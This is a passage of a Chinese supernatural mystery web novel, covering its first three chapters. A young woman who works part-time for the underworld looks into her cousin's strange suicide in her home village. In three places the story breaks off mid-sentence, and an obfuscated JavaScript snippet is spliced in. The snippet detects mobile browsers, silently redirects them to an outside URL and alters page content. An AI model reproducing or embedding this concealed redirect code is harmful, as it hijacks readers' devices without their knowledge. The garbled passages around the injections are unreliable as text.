《罗浮梦谈》 1. 庄辰岚阴间打工记 五更鬼市,血月照天,银筝拥夜。 销魂桥上,狐面少女慢摇轻罗小扇,迷香洞中,两头先生三拍醒木惊奇;不思池中,骷髅花灯盏盏,忘乡台上,魂幡纸带飘飘…… 就在这一派祥和的死机勃勃中,一道朱红色的身影突然如箭般从中掠过,其所到之处无不玉碎瓦破,惊叫连连,鬼仰怪翻。 还没等它们反应过来,紧跟着又是一个黑影袭来,骂骂咧咧的鬼群与扶到一半的摊位瞬间又被撞得七零八落。 ——这黑影正是庄辰岚。 她在梦中一魂出窍,到地府干阴差数月有余,所有工作就是护送阳间刚死的灵魂到阴间鬼门关报道。 入职第一天,阴差总管秦九拍着庄辰岚的肩膀: “岚儿啊,你可是我千挑万选选出来走阴的生无常,万里挑一独一无二,好好干!给自己多积阴德!” “生无常”这名字听着炫酷无比,其实就是地府缺劳力时在人间强征的临时工。 今天庄辰岚刚把魂魄交到鬼门关,一道朱红色的身影就贴着她呼啸而过,可惜还没跑多远,就被一把铁钩拽了回去。 庄辰岚朝这铁钩飞来的方向看去,只见一黑一白两个男人正踩着一个身穿朱红袍却披头散发的鬼魂,这朱红袍子上还有五色绶带和金色绣线,倒像庄辰岚老家供奉的灶王像上画的神官服。 两个男人刚松了口气,这神官鬼突然剧烈挣扎起来,伴随尖锐的嘶吼,他竟是硬生生舍弃了一块肉,把自己从铁钩子上拔下来跑了。 庄辰岚也不知想到了什么,转身就追,一人一鬼追着追着就到了这鬼市。 此地金阁玉楼高连霄汉,亭台舞榭北构西折,庄辰岚一边盯着视线中那团红色,一边在错落的回廊与陌生的街道中确定追击路线,本着本人不是本地人的原则,各种东西撞起来也是毫无心理负担。 连续被撞两次的鬼群此时怨声载道,尤其是其中一个如小山般庞大的猪头屠夫,它长鼻子里喷出两股热气,露出獠牙刚要发作,只见迎面走来一黑一白两个男人。 黑的那个面如霜雪,穿着人间样式的黑色西装,领带上用银线绣着“天下太平”。白的那个面如春风,穿着相似样式的白色西装,领带上用金线绣着“一见生财”。 两人皆是一样的身长玉立,正是地府的拘魂使者黑白无常。 白无常谢必安向上抬了抬食指,猪头屠夫就重新站了起来,刚才被他压扁的几个小鬼还没等身体恢复,就一溜儿烟跑了。 谢必安笑眯眯道:“阎罗殿捉拿凶煞,多有得罪。” 猪头屠夫知道惹不起他俩,憋了一肚子气,好不容易斟酌好台词想嘴上讥讽几句,就听见身后传来咚得一声。 范无救和谢必安纷纷绕过他。 妈的,更气了。 只见庄辰岚一手拎着神官鬼的红袍后领,一手拿着顺着刀刃往下滴血的斧头,刚才还面目狰狞的厉鬼此时已身首异处,鬼头被庄辰岚随意扔到地上,断颈处冒出股股黑烟。 范无救和谢必安皆是一惊,看向庄辰岚的眼神也多出几分好奇。 谢必安上前一步微笑:“在下谢必安,请问姑娘尊姓大名?在何处任职?” 庄辰岚道:“我是生无常。” “哦?”谢必安道,“这可真是大材小用了。” 鬼头滚到谢必安脚下,他抓起头发拎到眼前看了看——神官鬼目眦欲裂,獠牙外翻,但跟刚才充满仇恨与怒意的表情不同,这是极度恐惧的神态,好像他目睹了什么非常可怕的事情。 谢必安把这颗头往范无救那边移了移,打趣道:“这家伙,这么怕死。” “人之常情。”范无救道。 庄辰岚问:“这是个什么东西?” 谢必安把头扔回地上:“这鬼虽着神官服,却本是凡人死后的普通魂魄,他生前懂些门道,不甘心就此死去,就用歪门邪法受了人间一年香火,妄想由此尸解成仙,几天前被我和无救捉拿,投入了无间地狱——几百年没见过进了无间还能跑出来的,看来这一年香火也没白受,如果再过几年,唉,说不定我和无救都治不了他喽。” “这么厉害,”庄辰岚把斧头收进包里,“那得加钱。” 谢必安微笑的表情裂了:“加钱?加…加什么钱?” “人民币啊,美元也行。” 谢必安硬挤出一个微笑:“原来你还不知道啊,地府给你们这种员工的工资都是阴德,但是呢阴德也能转化为阳德,这阳德又能转化为现世的福禄寿还有财……” 庄辰岚打断他:“秦九也是这么说的,我不管这些,我只要钱,我知道你们拿得出来。” 她绕过两人:“时间到我先走了,有什么事去找秦九,她是我老板。” 庄辰岚往前没走几步,就听见背后谢必安的声音: “跟钟天师说事情已经解决,让他别白跑一趟了。” 庄辰岚回头:“钟天师?钟馗吗?” 谢必安似是有点吃惊她还在这里,也转过身来:“没错,这神官鬼本是他负责,只因钟天师前几日去了南天门追捕叛逃天兵,看管疏忽,这才让他跑了出来。” 庄辰岚心道这民间画本里的人物,黑白无常和钟馗,南天门和地府,居然真的确有其人,确有此地。 这应该是正常的吗?细细一想,她竟感觉有些惊悚。 至于她老板秦九,传说里倒没有这号人,因为她生前跟庄辰岚一样,是个普通人。 秦九原来是名警察,在一次恐怖袭击中牺牲,因为生前有功,加上能力卓越,就到了这地府成了阴差总管。 秦九说过,人间传说里的人物法力都大的很,专门处理棘手事件,勾普通死人的魂这种工作让范无救和谢必安来干就是大炮轰蚊子。 庄辰岚道:“南天门缺人吗,有活儿我也能干。” 当然得是工资到位。 谢必安道:“阳魂进入阴界地府已是极限,南天门虽说跟地府属于同一纬度,但怎么说也是神仙之地,没有高深法力的得道之人是无法进入的。” 庄辰岚道:“我不信,让我试试,南天门我还没去过呢。” 谢必安心道你没去过的地方多了去了,但还是保持微笑:“姑娘你还真是自信啊,虽然你武艺超群,但没有修为法力,就算试一百次,进不去还是进不去。” 谁知范无救突然开口了:“可以让你试一次,但是得付费。” 庄辰岚果断答应:“好,就当咱们打个赌了,如果我进不去,这神官鬼的报酬我就不要了,如果我能进去,那就是你们输了,报酬照样给我。” 范无救也不多话,直接变出索魂钩,铁链在庄辰岚手腕上绕了两圈。 他修长的两指举至面前,薄唇微启,像是在念什么咒语,紧接着,庄辰岚便感到一股巨大的风向自己吹来,不由闭紧双眼,再一睁开,眼前已变了景象。 泛着柔光的五色祥云就在脚下,朱瓦碧漆的大门赫然眼前,庄辰岚抬头往上看,“南天门”三个大字发出耀眼的金光。 范无救和谢必安懵在原地。 ——就该是这样! 庄辰岚确认了心中那股无名的感觉。 刚才听谢必安说凡人无法来此,脑海中就突然有种强烈的感觉: 自己一定可以到达这里! 刚刚空间穿越的瞬间,庄辰岚甚至生出无限的眷恋与亲切感。 可是,为什么会有这种感觉?为什么会突然生出这种想法? 范无救的冰块脸都裂了,他不信邪般举起两指,庄辰岚眼前又变了景象。 “这是哪?” 谢必安:“凌霄殿。” 又变。 “这儿呢?” “瑶池。” 再变。 “这儿?” “紫竹林。” 范无救懵了:“到底为什么?!你到底是什么人?!” “应该只是一个普通人。”庄辰岚补了一句,“在我的认知里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977868|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她抖落手腕上的铁链,走上前转了一圈。 谢必安拿手肘捅了捅身边自闭的范无救:“你去秦九那里问清楚,这人到底什么来头。” 庄辰岚观光完一圈回来了:“比想象中差点儿。” 走之前拍拍范无救的肩膀:“工资别忘了给哈。” —— 庄辰岚从合租房卧室的床上醒来,第一件事就是翻枕头。 枕头底下压着十几张钞票,数了数,一共一千五百块。除了当天上工的五百,其余的应该就是追捕那假神官的报酬了。 庄辰岚暗骂一声真抠。 走阴工作算是日结,但并不是每天都会上工,一个月能去五次都算多,这些钱交房租后就不剩多少了。 即使当过无常演过渡者引过亡魂,醒了也照样是凡胎吃五谷讨生活。 庄辰岚重新躺回床上,她的斧头静静立在床边,上面的鲜血已经不见踪影。 庄辰岚的母亲和外公都是屠户,这斧头就是他们以前杀猪用的,因为杀气太重,反而以毒攻毒,以恶制恶,成了捉鬼辟邪的法器,庄辰岚当阴差时就用它来砍小鬼,有时甚至刚拿出来,那些觊觎灵魂的精怪就被吓得退避三舍。 而且自从庄辰岚拿它走过阴后,这斧头就像是被附了魔,再也没有卷过边,生过锈,即使再怎么折腾使用,也依旧锋利无比。 庄辰岚惊觉自己也算是继承了老妈的衣钵,都是用同一把斧头,杀猪和杀鬼好像也没多大区别,而且世风日下,杀鬼可能还没杀猪挣得多。 想到这里,庄辰岚开始盘算什么时候才能攒够去京都美院的学费——这所国内知名的美术教育机构,中央艺术大学的摇篮,进去便等于一只脚迈进了中大的存在,有着极其昂贵,不菲,高不可攀的天价学费。 然而,庄辰岚并不是美术方向的艺考生,相反,她在一年半前考入了国内名校东山大学的机械与自动化专业,并在大一结束后光速退学。 庄辰岚还记得在校长室办理退学手续的那个遥远的下午,阳光透过办公桌后面的两扇窗子照进来,校长和院长背光而立,两个人都像影子一般。 校长道:“你确定你的父母都同意了?” 庄辰岚道:“我只有母亲和外公两个亲人,他们在我小时候就去世了。” 校长沉默了,他从笔筒里拿起黑色中性笔,拔开笔帽后却停住了,不知是挽留还是不解: “我看了你一年来的成绩,虽说没有特别出彩,但是仍远超及格线,应该不会有学业上的困难,如果是人际关系,这怎么不能忍一忍呢?反正都是可以调解的嘛。是不是那个姓林的女孩…” “不是,”庄辰岚打断他,“不是她的原因,我只是不喜欢这个专业。” 站在一旁的院长道:“她说她想去学画画,我记得那个林听也是,每天都画。” 庄辰岚有些急躁:“我说了跟她没关系。” 校长似是恨铁不成钢地叹了口气:“画画这种事情,你完全可以当爱好嘛,靠艺术吃饭很难的,你又没有家庭托举,得现实一点啊,到时候怎么养活自己?” “对啊,”院长也道,“只要你能从咱们学校毕业,就肯定能有稳定高薪的工作,这么光明的未来,为什么要放弃呢?你一个人考上东山大学多不容易——要不你再回去考虑考虑?如果实在读不下去,休学也行啊,干嘛把自己的退路堵死……” 院长喋喋不休,庄辰岚忘记自己之后答的是什么了,她只记得当时窗外飞着两只很不常见的红色蝴蝶,在雪白的玉兰花间飞舞。她望着这副画面出了神。 但最后,她是拿着校长签字的退学申请离开的办公室。 突然,手机叮咚一声,微信的消息提示音打断了庄辰岚的思绪,她拿起手机查看,心里咯噔一下。 发消息的是她的青梅竹马庄海月: “庄辰星昨晚跳楼自杀,他妈进了精神病院,村长说咱们跟星星同辈的人都要来给他出殡,速速回村。” 2. 回村见海月 收到庄海月的消息,庄辰岚立马打长途车回到了老家清平市南华村。 南华村原名庄家村,这里百分之九十的村民都姓庄,他们自称是南华真人庄子的后代,因为庄子曾隐居南华山,所以庄家村就改名叫南华村了。 上世纪八十年代,南华村因其完整典型的村落景观与宗族祠堂建筑被评为具有历史文化价值的古村落,几十年来断断续续的被政府修缮开发,成了小有名气的旅游景点。 村里建有庄子纪念馆和庄子雕像,小时候庄海月总会编一些“雕像会在半夜眨眼”“祠堂里会传来叹息声”之类一听就假的谣言,把观光的小孩吓得不敢再来。 庄辰岚此时正跟其他两个人挤在长途小轿车后排,她觉得坐在中间的男人得有二百斤,隔着他都看不见另一个人。 车子一会儿加速一会儿刹车,颠颠簸簸晃得人头晕脑胀。 要问她为什么不坐高铁回家,倒不是因为想省钱,而是她的斧头根本过不了安检。 电话铃响了,庄辰岚不用看就知道是庄海月打来的,她艰难地从兜里掏出手机连上蓝牙。 耳机里果然传来庄海月的声音:“岚岚,你快到家了吗?那个,麻烦你在村口接个人呗。” 庄辰岚按按太阳穴:“谁?” “我一同学的弟弟,超高校级民俗爱好者,千里迢迢来到咱们村想记录一下风土民情,你把他带进来他就不用花钱买门票了,回头我请你吃饭!” 庄辰岚问:“叫什么,长什么样,在哪个门?” 庄海月道:“一个帅气小男高,名字叫程天玑,现在就在正大门,放心,我也已经告诉他你的样子了,肯定完美对接没有问题。” “你怎么不自己去?” “你听我给你狡,啊不,你听我给你解释,正大门太远了,我在星星家帮忙走不开,正巧你又顺路,这就叫物尽其力,人尽其用嘛…” 任凭她说的天花乱坠,庄辰岚只知道这家伙是懒病又犯了。 “先别挂,还有个问题,”庄辰岚道,“他真的是自杀吗?” 直到现在,她对于庄辰星跳楼的消息仍然没有实感,记忆中那个如春风般和煦与温柔的少年,怎么会突然死掉了?而且还是自杀。 一瞬间,她想起了林听。 庄海月沉默片刻道:“回来再说。” 挂掉电话,庄辰岚把头转向窗外。 冬日下午的阳光本是好物,但来错地方也只会惹得人心烦。 庄辰岚刚把自己这边的车窗打开,就听见哇得一声——坐在另一车窗旁的人吐了。 呕吐物溅在车前椅和中间的胖男人身上,司机猛地一踩刹车,他吐得更厉害了,胖男人发出了生无可恋的哀嚎。 司机熟练的说出那句:“吐车里五百,门上二百。”熟练的让人心疼。 庄辰岚第一个想法是:幸亏没坐他旁边,第二个想法是:感谢中间这个男人够胖帮她抵挡了攻击。 一番折腾后到家已是黄昏,此时的正大门已然失去了白日的喧闹,庄辰岚看到一个高挑明净的少年正乖乖站在村墙边,顿时心跳漏了一拍——这不是庄辰星吗? “庄辰星”看见她后也赶紧上前:“你好,是辰岚姐吗?” 庄辰岚这才反应过来,他应该就是庄海月让自己接的那个人了。 实在不怪她记性不好,只是两人相貌着实神似。 庄辰岚朝他点点头:“跟我来。” 向保安出示居住证后,两人进入了南华村。 庄辰岚道:“不好意思,让你久等了。” 程天玑连连摆手:“没关系的!” 他朝庄辰岚的黑色双肩包伸出手:“我来帮你拿。” “不用不用。”庄辰岚连忙婉拒。 程天玑被拒绝后也不在意,他充满好奇地问道:“辰岚姐,你是模特吗?” 庄辰岚新认识的百分之九十的人都会问她这个问题,她早就习以为常,甚至下一句话是什么她都能猜个八九不离十。 庄辰岚答:“不是。” 程天玑遗憾道:“我感觉辰岚姐你很适合做模特,肯定会火。” 庄辰岚暗爽:又猜中了。 其实她之前确实兼职做过模特,去面试时还被几家模特公司抢着要,但是工作一段时间后,庄辰岚发现自己不喜欢这份工作,在她看来,自己的投入已远远大于回报,于是她果断放弃了这份兼职。 即使现在的自己最需要钱,她也不是什么工作都会欣然接受。 老宅自从母亲和外公去世后就再也没有新修过,金色的斜阳光洒在它仿佛亘古不变的灰墙灰瓦上,只有挂在门楼上的两个快被尘土染成黑色的灯笼昭示着时间的流逝。 庄辰岚没想到庄海月此时正坐在自家大门旁的石墩子上,听见两人的脚步声,她从游戏机中抬起头来,朝这边挥了挥手。 庄辰岚的这位青梅竹马从国内最顶尖的京华大学休学一年有余,每天不是在家里宅着就是在村里跟个村溜子似的乱逛。 昔日的天之骄子高考状元,如今的休学废物读书呆子。如果村里人的饭后谈资也有热搜榜,那么庄海月必定常年占据前三。 庄辰岚用一把铜制的长条钥匙开锁,吱呀一声,红木大门被推开,灰尘铺面而来。 她用手在面前扇了扇,招呼两人进院子。 庄海月放下游戏机:“你们可算来了,我有件怪事要说,没人听我讲话我都要憋死了。” “等我把床铺收拾完。” 庄海月被噎了一下,拉起庄辰岚就走:“别想睡觉了,明早星星出殡,今晚要去他家守夜。” 她又朝程天玑招招手:“你也来。” 庄辰岚重新把门关上,问道:“林风什么时候到?” “她不回来了。”庄海月道,“说是学校里出了点问题,而且从美国回来确实太远,再加上她也改姓了,所以村长就允许她不用回来了。” 林风是庄海月的双胞胎妹妹,两人的父母在姐妹俩初中毕业时离婚,他们卖掉了中海市的楼房,父亲江安带着庄林风去了美国,随他改姓江,江林风在美国读了高中和大学。 庄海月则跟着母亲庄年依回到南华村的老宅,只是庄年依经常跨国出差,家里只剩庄海月一人,碰巧庄辰岚和她读同一个高中,两人便常在一起,比小时候更为熟络。 三人走在去庄辰星家的路上,天已经完全黑了,村里的路灯并不多,程天玑打开手机的手电筒照亮。 庄海月瞥了一眼他亮起的手机屏幕,惊讶道:“你手机壁纸这是——周以?” 程天玑羞涩地笑笑:“我很喜欢他的电影。” “有品位!”庄海月道,“哎,你觉得他长得怎么样?” “这还用问?”程天玑遇到同担两眼放光,“以哥绝对是全世界最帅的!” 庄海月笑得花枝乱颤,她拍拍程天玑的肩膀:“不过你运气有点差。” 程天玑被这没头没尾的话搞得有点懵:“什么意思?” “没事没事,不用在意。” 庄辰岚道:“现在该说了吧,辰星到底怎么了?” 庄海月一拍手掌:“这就是我要跟你说的怪事了。” 据庄海月所说,昨天晚上九点十三分,庄辰星在清平一中的三楼跳楼自杀,当场身亡。 监控显示,第二节晚自习下课后,庄辰星走出教室,径直来到走廊窗户边,打开后一跃而下。 他的动作极其干脆,旁边的学生甚至都没有察觉,等到他们反应过来,庄辰星已经摔在水泥地上,半张脸与地面粘到一起,一只眼珠也因冲击力掉了出来,欲掉不掉的悬在脸上晃晃悠悠,鲜血流进砖块与砖块的缝隙里,好像他正躺在一个诡异的阵法之中。 这看起来毫无疑问是一起自杀事件,就在警方马上要结案收工时,一个老刑警却敏锐的察觉,庄辰星的父亲庄年良表现不对——在得知独子自杀身亡的消息后,他比起伤心,更多的是一种奇怪的恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977869|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧。 深入调查庄辰星家庭情况后,老刑警得知,死者的母亲赵梅在三天前被送进的不是医院,而是精神病院! 于是警方扣留了庄年良,一番心理攻防后,庄年良终于开口,然而他的讲述却令人匪夷所思。 事情的开始源于死者母亲赵梅做过的一些诡异梦境。 在最初的梦里,庄辰星浑身泥泞地站在冰天雪地之中,反复说自己好冷。 赵梅看到他的脸都冻成了紫色,便连忙想拉着他回家,可就在她刚刚握住儿子的手时,庄辰星的整个身体竟都像干掉的土块一样扑簌簌往下掉,最后只剩下两个眼珠嵌在土渣之中滴溜溜地转,赵梅顿时被吓得尖叫出声,就这么把自己叫醒了。 醒来的赵梅还只当这是一个普通的噩梦,可没想到第二天晚上,她又梦到了庄辰星。 第二个梦里的庄辰星面黄肌瘦,比之前更像一个泥人,他仿佛失去了神智,只会反复说自己又冷又饿,赵梅想把儿子带回家,可是却怎么也碰不到他,两人之间隔着段距离,她往前走,庄辰星就往后退,怎么也抓不着。她不要命地往前跑,突然间天塌地陷,梦醒了。 这时的赵梅感到有些奇怪,胸口也闷闷的疼,于是她出门到村里散步,路过祠堂时,她居然在这里发现了庄辰星。 赵梅这才想起来今天儿子放假,但是他以前都会跟同学一起出去玩的。除此之外,她还发现庄辰星突然变得对家族历史很感兴趣,他向赵梅询问南华村过去的事情,祠堂里正好还有几个村里的老人,众人就在祠堂聊了半天,母子俩晚上还一起去餐厅吃了酸菜鱼火锅。 那天晚上赵梅没有做奇怪的梦,于是她只当前面两个梦是个巧合,是自己想太多,可谁知这仅仅是噩梦的开始。 庄辰星上高三,几乎一整天都不在家里,赵梅能跟他见面的时间只有晚上,她会给下晚自习的庄辰星端去切好的水果。 有一天赵梅突发奇想,想偷偷进房间开个玩笑吓儿子一跳,于是她轻轻打开房门,却发现书房内空无一人。 赵梅以为儿子在上厕所,于是直接把水果放在桌子上后就走出了房间,没走两步,她突然想起书房里有杯子要刷,于是转身进门,可谁知刚才还不见的儿子此刻就趴在书桌旁。 赵梅只觉得一阵寒气直冲天灵盖,但无论怎么问,庄辰星只说自己刚刚一直就在这里。 从那晚以后,赵梅总觉得儿子脸上会出现陌生的表情。 庄辰星被她盯得毛骨悚然,就去找父亲庄年良求助,两人带着赵梅去医院检查,医生说是压力太大导致激素分泌失调,进而出现了幻觉,给开了几副药。 赵梅吃了药,感觉确实轻松了不少,等到回家后就迷迷糊糊地睡着了,然而这次,她又梦到了庄辰星。 在这个梦里,庄辰星似乎恢复了神智,他站在一个似乎废弃已久的电影院里,告诉赵梅自己现在过得很好,已经不再受冻挨饿了,因为他现在跟爷爷奶奶生活在一起。 赵梅听到这句话后快要崩溃了,因为庄辰星的爷爷奶奶早就死了! 她让儿子马上跟自己走,但庄辰星却说自己不能回去,因为自己的身体已经被别人占了。 赵梅急忙问那个人是谁,却怎么都听不清庄辰星说的名字。 一切的感觉都太过真实,以至于赵梅醒来后就冲进儿子房间,抓着庄辰星就掐,把下班回来的庄年良吓了一大跳。 他还记得,当时妻子就像发了疯的猛兽,一边掐着儿子,一边喊着“你是谁?!”“把儿子还给我!”之类的话,场面诡异至极。 庄年良把妻子送到医院,却检查不出什么问题,她只是一直蹲在病床上,喃喃道自己的儿子死了,激动起来还会抓住医护人员哭诉,辱骂庄家的十八辈祖宗,最后不得已才转到精神病院。 庄海月道:“上午我去看望赵阿姨,她说她知道占了庄辰星身体的是谁了。” 庄辰岚问:“是谁?” “她说,是我们的祖先。” 3. 茧山蝴蝶树和庄辰星 此言一出,庄辰岚不禁打了个冷战。 程天玑控诉道:“海月姐,不要在这种场合下讲鬼故事啊!” 庄辰岚问:“你信吗?” 庄海月道:“天下之大无奇不有,巧合,心理暗示,怎么都能解释,反正世界上不可能有鬼啦。” 庄辰岚心道孩子你错了,这世上还真有鬼,有的还归我负责。 仔细一想这个故事,庄辰岚有好几处说不通的地方: “如果赵阿姨说的是真的,真正的庄辰星已经死了,庄家祖先夺舍了他的身体,那为什么他还会乖乖上学乖乖生活?而且最重要的是,为什么他会突然自杀?不惜侵占子孙身体也要复活的灵魂,为什么又选择去死?总不会是突然良心发现了吧。” “而且,”庄辰岚想起他的死状:“从三楼跳下去而已,会有那么大的冲击力吗?你应该还记得吧,一中的三楼不算高。” 程天玑道:“也许是正好脸先着地呢?” 庄海月道:“所以说这事儿很怪,唯一的解释就是各种巧合。” 庄辰岚心道庄海月这厮从小就喜欢编鬼故事,这件事也难免夹带私货夸大其词,不能全信,不如走阴时让秦九给自己行个方便,找庄辰星的魂魄问个清楚。 三人说着已走到庄辰星家门口。 门楼上挂着两个白灯笼,招魂幡也从围墙内伸出来,上面18张白色长纸条,正对应亡者庄辰星的年龄,被风吹得窸窸窣窣响。 小小的院子搭了灵堂后已不剩多少空间,被前来守夜帮忙的人挤满了,在灵堂的白炽灯光覆盖不到的区域,三五根惨白的蜡烛摇着昏黄的光。 庄海月问:“小程啊,你不怕吧?” 程天玑道:“当然不怕。” “不怕就好,”庄海月拍拍他的肩膀,“你把帽子口罩戴上,捂严实点儿。” “?”程天玑道:“为什么啊?” 庄海月叹了口气:“实话告诉你吧,你跟棺材里躺着的那位长太像了,我怕你吓到别人,也怕惹他爸伤心。” 听闻,程天玑一愣,他望了望灵堂的方向,还是照做了。 这边庄年良看到庄海月和庄辰岚,连忙抹了把眼泪站起来。 两人跟庄辰星年龄相仿,尤其是庄辰岚,她跟庄辰星一起长大,庄年良一看到她就拉着不撒手,止不住地嚎啕大哭。 庄辰岚心头一酸,诚心想安慰几句,但这景象与几年前母亲与外公去世的场景格外相似,她怕自己一开口,情绪就控制不住了。还是庄海月替自己解围,“节哀顺变”等客套的公式话一句一句往外蹦。 庄辰岚突然有些好奇她这几年到底经历了什么,明明之前也是三棍子打不出一个屁的性格,现在怎么变得如此圆滑? 走到供桌前,庄辰岚发现上面居然摆着一套酸菜鱼火锅。 庄海月道:“这生鱼片昨天招了好几只野猫过来,还有一只黑猫,把守夜的吓个半死。” 庄年良解释道:“辰星去世前特别喜欢吃这个火锅,恨不得一天三顿都吃。” 所以现在即使冒着吸引野猫的风险也要摆上。 庄辰岚感到奇怪:印象中庄辰星从小就不喜欢吃鱼啊。 忽略酸菜锅飘来的香味,庄辰岚蹲在冰棺前烧了几张黄纸。 冰棺底部的电线插在从屋内接过来的插座上,维持着低温防止尸体腐烂。庄辰岚一直觉得它不像棺材,更像科幻电影里的休眠仓,所以小时候的她一直相信躺在里面的母亲和外公会重新醒过来。 庄年良道:“你再去看看他吧,找人给修了修,没那么吓人了,他之前一直念叨说过年等你回来...” 说到这里,庄年良和庄辰岚都心脏抽痛了一下,再也说不出话。 庄辰星是辰字辈年龄最小的孩子,但性格却沉稳温柔,人如其名,透过银丝眼镜的眼神如同星光一般,既温和又有力量,小时候他们这群孩子吵架,他总是劝架的那个。 冰棺的棺盖是透明的,上面粘着用条幅布做的花,连塑料都不是,只是用最廉价的合成纤维制成的形状不规则的白花,十八岁的庄辰星就静静躺在里面。 然而,就在庄辰岚看到他遗容的瞬间,一种奇怪的感觉油然而生,然后又闪电般迅速退去,让人分不清这感觉究竟是真实还是错觉。 庄辰岚揉了揉眼睛,又多看了几眼,但那种感觉却没有再次出现,庄辰星轻阖双眼,宛如睡着一般,无比正常。 庄年良道:“大晚上怪冷的,你们也别守夜了,家去吧,明天再过来。” 庄海月道:“好嘞年良叔,麻烦你了,那我们明天再过来。” 三人从灵堂走到门口,喧闹声似乎瞬间消失,院内院外宛如两个世界。 庄海月递给程天玑一张卡片:“我把居住证借你,明天下午你去祠堂等我,祠堂在哪你知道吗?” 程天玑接过居住证:“知道知道,谢谢你海月姐。” 庄海月对他挥手告别,又看向庄辰岚:“喂!” 庄辰岚还在思索刚才那种莫名的感觉,被她突如其来的喊声吓了一跳。 “想什么呢?你今晚睡我家吧,我妈不在家。” 庄辰岚想起自己的床铺还没收拾,天色已晚,她也懒得客气: “你妈在家我也去。” 而且算算日子,今天该去上工了。 庄辰岚从来没像今天一样期待走阴召唤——她想见庄辰星的亡魂。 来到庄海月家,她道:“那个,你跟我睡一张床吧。” 庄辰岚道:“你家不是有客房吗?之前我不都睡那里。” “呃,现在不建议了,也不是,就是,”庄海月支支吾吾,“那里有点脏。” “无所谓,反正就一晚。” 庄辰岚打开客房房门,跟预想中不同,这里并没有脏到哪去,甚至算得上整洁。 她便直接躺在床上。 凌晨两点左右,一阵阴风突起,随后,熟悉的纸灰味儿扑鼻而来。 庄辰岚轻飘飘从床上坐起,已然身着无常黑袍,带着黑色高帽,再从包里拎出斧头,等待发布任务的阴差上级,这流程她简直不要太熟悉。 谁知这次来的居然是秦九。 秦九道:“岚儿啊,我是来通知你——你被开了。” 庄辰岚不可置信:“为什么?就因为跟范无救要了钱?这么小气?” “什么?你跟他要钱?!不是不是,绝对不是这个原因!”秦九眼神闪躲,“呃,但是具体什么原因我也不知道,白大人找我要过你的资料后,过了两天就通知我开除你,你好奇我也好奇。” 秦九好奇的是,庄辰岚究竟是何方神圣,居然能让阎罗殿亲自审理下令,要知道她当初暗中考察了她半年,除了体力和格斗能力出众,庄辰岚怎么看都只是个普通人。 而且就是因为考察期太长,沉没成本太高,所以秦九才答应了这个好不容易合格的庄辰岚付人民币的要求,不然她早就一脚把她踹开了。 庄辰岚知道生无常的工作制度有多么不讲道理,于是也不纠缠:“秦姐,我接受开除,我知道这不是你的意思,不想让你为难,你是个好人,呃,好鬼,所以能不能最后帮我个小忙?” 秦九道:“你别给我扣帽子,先让我听听是什么小忙。” 庄辰岚一看有戏:“我的族弟庄辰星前几天去世,我来不及见他最后一面,我们从小一起长大,所以想最后跟他好好道个别。” 秦九犹豫片刻:“上边儿禁止除了生无常外的生魂进地府,尤其是你。这样吧,我把他魂魄带来见你,就当是突然解雇的补偿了,你稍等片刻,我去去就来。” 秦九消失后,庄辰星坐回床上,看着躺在旁边的自己的身体,魂魄离体,她现在跟尸体没什么两样,如果庄海月此时进来,想到这里,庄辰岚走过去把门锁上。 自从回到村里,就没一件好事,先是听不着调的庄海月说庄辰星死的蹊跷,又在灵堂遇到那种奇怪的感觉,现在还被地府炒了鱿鱼,庄辰岚倚在门上,叹了口气。 突然,她闻到了一股奇怪的味道,是一丝若有若无的臭味,有些熟悉,但是被阴差带来的纸灰味儿掩盖,有些难以分辨。 不会是庄海月藏在客房的垃圾吧。 这时,房间中央凝起一股白烟,一道绿光闪过,秦九出现了,但只有她一人。 “庄辰星呢?” “地府里根本没这号人。” 庄辰岚道:“怎么会没有,你找清楚了吗?” 秦九道:“我堂堂阴差总管,还找不到一个魂儿?我找不到那就是没有。” 庄辰岚道:“他可是真死了,对不上号,你们不管?” 秦九翻了个白眼:“大惊小怪,这种事海了去了,可能出了什么事儿还在半路上没到地府,亏你还干过阴差呢,这就都忘了?” 庄辰岚确实不知道有这种情况,因为她从没让客户久等过。 她想了想道:“最后一个请求,劳驾移步看看尸体,就在不远。” 庄辰岚的目的是让秦九看看庄辰星的尸体有无异常,她仍然没有忘记第一眼见到遗体时的奇怪感觉。 如果在以前,她肯定会认为这就是一个普普通通的错觉,就像那些莫名出现的即视感一样,然而这次她也不知道,为什么自己会如此执着。 秦九本想拒绝,但转念一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977870|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,庄辰岚身份成谜,如果真是个厉害人物,今天卖给她一个人情,来日必有好处,于是便半推半就地答应了。 一魂一鬼来到灵堂,秦九看了眼遗体:“自杀的吧。” 庄辰岚心道前刑警果然厉害,等了半天,问:“没了?” 